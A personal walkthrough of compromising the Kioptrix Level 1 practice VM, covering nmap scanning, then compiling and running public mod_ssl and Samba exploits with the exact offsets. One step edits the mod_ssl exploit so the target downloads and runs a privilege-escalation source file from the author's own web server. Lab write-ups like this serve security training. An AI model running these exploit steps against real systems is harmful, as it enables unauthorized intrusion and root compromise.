- VM: Kioptrix: Level 1
- Goal: acquire root access
- Approach: solve without automated exploitation tools
First step is to locate the IP address of my target:
nmap -n -sn 192.168.172.200-254
Now I use nmap to scan through all TCP ports
nmap -p- 192.168.172.233
Then do a more detail scan on open ports.
nmap -p22,80,111,139,443,1024 -A 192.168.172.233
|22 (ssh)||OpenSSH 2.9p2 (protocol 1.99)|
|80 (http)||Apache httpd 1.3.20 (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)|
|111 (rpcbind)||2 (RPC #100000)|
|139 (netbios-ssn)||Samba smbd (workgroup: MYGROUP)|
|443 (ssl/https)||Apache httpd 1.3.20 (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)|
|1024||1 (RPC #100024)|
Look like port 80, 139 & 443 are the ports of interests.
I then browse the website to see if there’s any 3rd party web apps used or potential entry points. Also check robots.txt. Don’t seem to have any custom web app, just test page from apache web server.
Nothing special on web pages. So I go back to check on apache version used to see if there’s any vulnerability.
Looks like there’s an exploit for mod_ssl 2.8.4. Let’s get the file 47080.c and compile it.
cp /usr/share/exploitdb/exploits/unix/remote/47080.c . gcc -o exploit 47080.c
I get compilation error. So take a look at the source code and realize that I need libssl-dev and compile the file with -lcrypto
apt-get install libssl-dev gcc -o exploit 47080.c -lcrypto ./exploit
I am greeted with usage screen. So I need to examine what target offset I need to use. After reading the available offset, I narrow down to 0x6a & 0x6b. Tried both and got some good response using 0x6b
./exploit 0x6b 192.168.172.233 -c 40
Awesome, got in as ‘apache‘
I then spent quite some time trying to enumerate the system, finding any possible privilege escalation (like sudo, setuid, password files & etc.), exploiting the linux kernel. No luck. So close yet so far away. There got to be a way.
The system would kick me out every 10 minutes or so. So I have to use the mod_ssl exploit to reconnect to the target system periodically. Finally, I noticed something that I have been ignoring from the mod_ssl exploit:
gcc: ptrace-kmod.c: No such file or directory
The exploit was trying to download another source file to compile and execute but failed. Duh, stupid me. I was too excited to get the low shell and overlooked these error messges. It failed because I blocked the Internet access. The target system has no Internet access and cannot download the required file ptrace-kmod.c.
So, I would download the required to my kali box, setup apache and change the exploit code to download from my kali box:
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c -O /var/www/html/ptrace-kmod.c service apache2 start nano 47080.c <-- update line 341 to download from kali gcc - o exploit 47080.c -lcrypto ./exploit 0x6b 192.168.172.233 -c 40
Boom! root access!
My getaway: Don’t be careless to overlook details. Need to be careful to read through any details or errors thoroughly.
After getting root access, I then read some walkthrough other people did. And saw that there’s another exploit through smb. So I did couple enumeration on smb:
enum4linux -a 192.168.172.233
I got some information. But no information about Samba version or other interesting information to exploit. Then I read a little more on walkthrough that smbclient returns the Samba version. So I tried.
No Samba version shown like the walkthrough shown. I am not sure why. Anyone knows please enlighten me.
Anyway, I then search the web to see if there’s other way to find Samba version and landed this python script: https://github.com/amitn322/smb-version/blob/master/samba_version.py. So I download it and try it out.
python samba_version.py -s 192.168.172.233
Cool! Samba version 2.2.1a. Let’s run searchsploit
searchsploit samba 2.2
Nice, looks like 10.c is good candidate
cp /usr/share/exploitdb/exploits/multiple/remote/10.c . gcc -o exploit-samba 10.c ./exploit-samba
./exploit-samba -b 0 192.168.172.233
Great! Got root access. This route is even easier.